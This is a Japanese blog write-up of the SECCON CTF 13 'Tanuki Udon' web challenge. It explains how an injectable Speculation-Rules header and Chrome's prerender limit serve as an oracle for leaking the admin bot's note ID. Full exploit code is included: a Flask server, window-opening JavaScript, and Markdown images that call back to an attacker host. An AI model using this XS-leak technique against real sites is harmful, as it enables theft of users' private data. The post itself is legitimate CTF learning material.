1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

1日1CTFAdvent Calendar 2024

Day 2

Tanuki Udon (SECCON CTF 13 Quals) WriteUp

Last updated at Posted at 2024-12-01

はじめに

この記事は 1日1CTF Advent Calendar 2024 の 2 日目の記事です。

問題

Tanuki Udon (問題出典: SECCON CTF 13 Quals)

Inspired by Udon (TSG CTF 2021)

  • Challenge: http://<REDACTED>:3000
  • Admin bot: http://<REDACTED>:1337

作問者 WriteUp も見ると理解が深まるかも。

なお、この問題は 非想定解(XSS)で本番中に解いている が、今回はフラグに書いてあった Speculation-Rules を利用した解法で解くことにする。

問題概要

シンプルなメモアプリ。

image.png

画像/リンク/強調/改行 の MarkDown に対応している。

markdown.js
const escapeHtml = (content) => {
  return content
    .replaceAll('&', '&amp;')
    .replaceAll(`"`, '&quot;')
    .replaceAll(`'`, '&#39;')
    .replaceAll('<', '&lt;')
    .replaceAll('>', '&gt;');
}

const markdown = (content) => {
  const escaped = escapeHtml(content);
  return escaped
    .replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`)
    .replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`)
    .replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`)
    .replace(/  $/mg, `<br>`);
}

module.exports = markdown;

大きな特徴として、アクセス時のパラメータで、 content含まない任意の Header を 1 つ付け加えることができる。1

index.js
...
app.use((req, res, next) => {
  if (typeof req.query.k === 'string' && typeof req.query.v === 'string') {
    // Forbidden :)
    if (req.query.k.toLowerCase().includes('content')) return next();

    res.header(req.query.k, req.query.v);
  }
  next();
});
...

Bot はフラグを書いたメモを保存して、その後指定した URL にアクセスする。タイムアウトが 90 秒と、かなり長い。

bot.js
...
    // Create a flag note
    const page1 = await context.newPage();
    await page1.goto(APP_URL, { waitUntil: "networkidle0" });
    await page1.waitForSelector("#titleInput");
    await page1.type("#titleInput", "Flag");
    await page1.waitForSelector("#contentInput");
    await page1.type("#contentInput", FLAG);
    await page1.waitForSelector("#createNote");
    await page1.click("#createNote");
    await sleep(1 * 1000);
    await page1.close();

    // Visit the given URL
    const page2 = await context.newPage();
    await page2.goto(url, { timeout: 3000 });
    await sleep(90 * 1000);
    await page2.close();
...

とりあえずの目標は Bot が保存したメモの URL を特定すること。

Speculation-Rules とは

とりあえずフラグに書いてあっただけで何もわからないので調べてみる。
以下の記事を参考にした。

Speculation-Rules HTTP Header について

Speculation-Rules API について

詳しめの使い方など

ここでは Prerender の機能に絞って考察する。
いい感じに json ファイルを自分でホストして、その URL を Speculation-Rules Header にのせることで、

  1. 自身が指定したリンク (same origin に限る)
  2. HTML 中のリンク

をバックグラウンドで読み込ませることができて、ページ遷移があった場合に通信を待たなくてよくなる。

1. の使い方だとこんな感じに書くことで、/notes/956d291f5d1b7ceb81f0f29c8b9eaec1 を読み込ませられる。

{
    "prerender": [
        {
            "urls": [
                "/notes/956d291f5d1b7ceb81f0f29c8b9eaec1"
            ],
            "eagerness": "immediate",
            "relative_to": "document",
        },
    ],
}

2. の使い方ではこんな感じで、いい感じに前方一致検索ができそう。

{
    "prerender": [
        {
            "where": {
                "and": [
                    {
                        "href_matches": "/note/*",
                        "relative_to": "document",
                    }
                ],
            },
            "eagerness": "immediate",
        },
    ],
}

どちらも relative_todocument にしないとうまく動かない (JSON をホストしたところからの相対パス扱いになってしまう) ので注意。
また、eagernessimmediate にすることでユーザーが何もしなくても勝手に読み込ませることができる。

オラクルの構築

さて、この記事 によると、eagernessimmediate のやつを 10 個以上 Prerender することはできないらしい。これがオラクルに使えそうだ。

Chrome limits

Chrome has limits in place to prevent overuse of the Speculation Rules API:

eagerness Prefetch Prerender
immediate / eager 50 10
moderate / conservative 2 (FIFO) 2 (FIFO)

例えば、/note/0* を 2. の方法で読み込ませたあと、1. の方法でリンク 1 ~ リンク 10 までの 10 個のリンクを読み込ませた場合を考えると、/note/0 から始まるリンクが HTML 内にあって読み込まれた場合、リンク 10 は読み込まれなくなる。(もちろん /note/0 から始まるリンクがなければ リンク 10 も正常に読み込まれる。) 図を見たほうがわかりやすいかも。

該当するメモがある場合
img.png

該当するメモがない場合
img.png

さて、この情報をどうやって自分のサーバーに送ればいいだろうか。Prerender できるのは same origin の場合に限られるので、自分のサーバーのページを読み込ませることは不可能だ。ここで思い出すのが、このアプリでは Markdown 形式で画像を挿入できたことだ。自分のサーバーがホストする画像を含むメモを Prerender させることで、自分のサーバーにアクセスさせることができ、XS-leaks が可能となる。

細かい話だが、/note/0* を先に Prerender させるため、json ファイルを 2 つ用意して (Speculation-Rules Header は複数のファイルを指定可能)、/note/0* を調べるファイルはすぐレスポンスして、もう一方を遅延させる必要があった。

以上の方法で admin が投稿したメモの url を 1 文字ずつリークできる。

実装

実装はつらいが、頑張るしかない。

from flask import Flask, jsonify
import flask
import time
import httpx

TARGET = "http://localhost:3000"
ATTACKER = "http://172.23.154.236:8000"

# TARGET = "http://tanuki-udon.seccon.games:3000"
# ATTACKER = "https://attacker.example.com:8000"

app = Flask(__name__)

noteid = ""
chars = "0123456789abcdef"
check = [False] * 16
dummys = []
leaks = []


# CORS
@app.after_request
def after_request(response):
    response.headers.add("Access-Control-Allow-Origin", "*")
    return response


@app.route("/<c>_rule1.json")
def rule1(c):
    x = {
        "prerender": [
            {
                "where": {
                    "and": [
                        {
                            "href_matches": "/note/" + noteid + c + "*",
                            "relative_to": "document",
                        }
                    ],
                },
                "eagerness": "immediate",
            },
        ],
    }
    res = jsonify(x)
    res.headers["Content-Type"] = "application/speculationrules+json"
    return res


@app.route("/<c>_rule2.json")
def rule2(c):
    time.sleep(0.1)  # rule1 が先に読み込まれるように少し待つ
    x = {
        "prerender": [
            {
                "urls": [
                    dummys[0],
                    dummys[1],
                    dummys[2],
                    dummys[3],
                    dummys[4],
                    dummys[5],
                    dummys[6],
                    dummys[7],
                    dummys[8],
                    leaks[chars.index(c)],
                ],
                "eagerness": "immediate",
                "relative_to": "document",
            },
        ],
    }
    res = jsonify(x)
    res.headers["Content-Type"] = "application/speculationrules+json"
    return res


@app.route("/leak_<c>")
def leak(c):
    global check
    check[chars.index(c)] = True
    print(check)
    if check.count(True) == 15:
        global noteid
        noteid += chars[check.index(False)]
        print(f"noteid: {noteid}")
        check = [False] * 16
    return c


@app.route("/")
def idx():
    res = """
    <script>
        const sleep = (milliseconds) => {
            return new Promise(resolve => setTimeout(resolve, milliseconds))
        }
        async function leak() {
            for (let idx = 0; idx < 16; idx++) {
                let ws = [];
                for (let i = 0; i < 16; i++) {
                    let c = "0123456789abcdef"[i];
                    let url = `http://web:3000/?k=Speculation-Rules&v=%22<ATTACKER>/${c}_rule1.json%22,%22<ATTACKER>/${c}_rule2.json%22`;
                    let w = window.open(url, "_blank", "location=yes");
                    ws.push(w);
                }
                await sleep(3700);
                await ws.forEach(w => w.close());
            }
        }
        leak();
    </script>
    """
    return res.replace("<ATTACKER>", ATTACKER)


if __name__ == "__main__":
    with httpx.Client() as client:
        res = client.get(TARGET)
        for i in range(9):
            res = client.post(
                f"{TARGET}/note", data={"title": f"DUMMY_{i}", "content": f"DUMMY_{i}"}
            )
        for i in range(16):
            res = client.post(
                f"{TARGET}/note",
                data={
                    "title": f"LEAK_{chars[i]}",
                    "content": f"![]({ATTACKER}/leak_{chars[i]})",
                },
            )

        res = client.get(TARGET)
        for i in range(9):
            url = res.text.split('<li><a href="')[i + 1].split('"')[0]
            dummys.append(url)
        for i in range(16):
            url = res.text.split('<li><a href="')[i + 10].split('"')[0]
            leaks.append(url)

    app.run(host="0.0.0.0", port=8000, debug=False)

あとはサーバーを立てて、admin にアクセスしてもらえばよい。

image.png

ということで、url が leak できました。leak した url にアクセスするとフラグが得られました。やったね。

image.png

Flag: SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}

  1. 実は本番中は非想定解の方に目が行って、これに気づいてなかった…

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?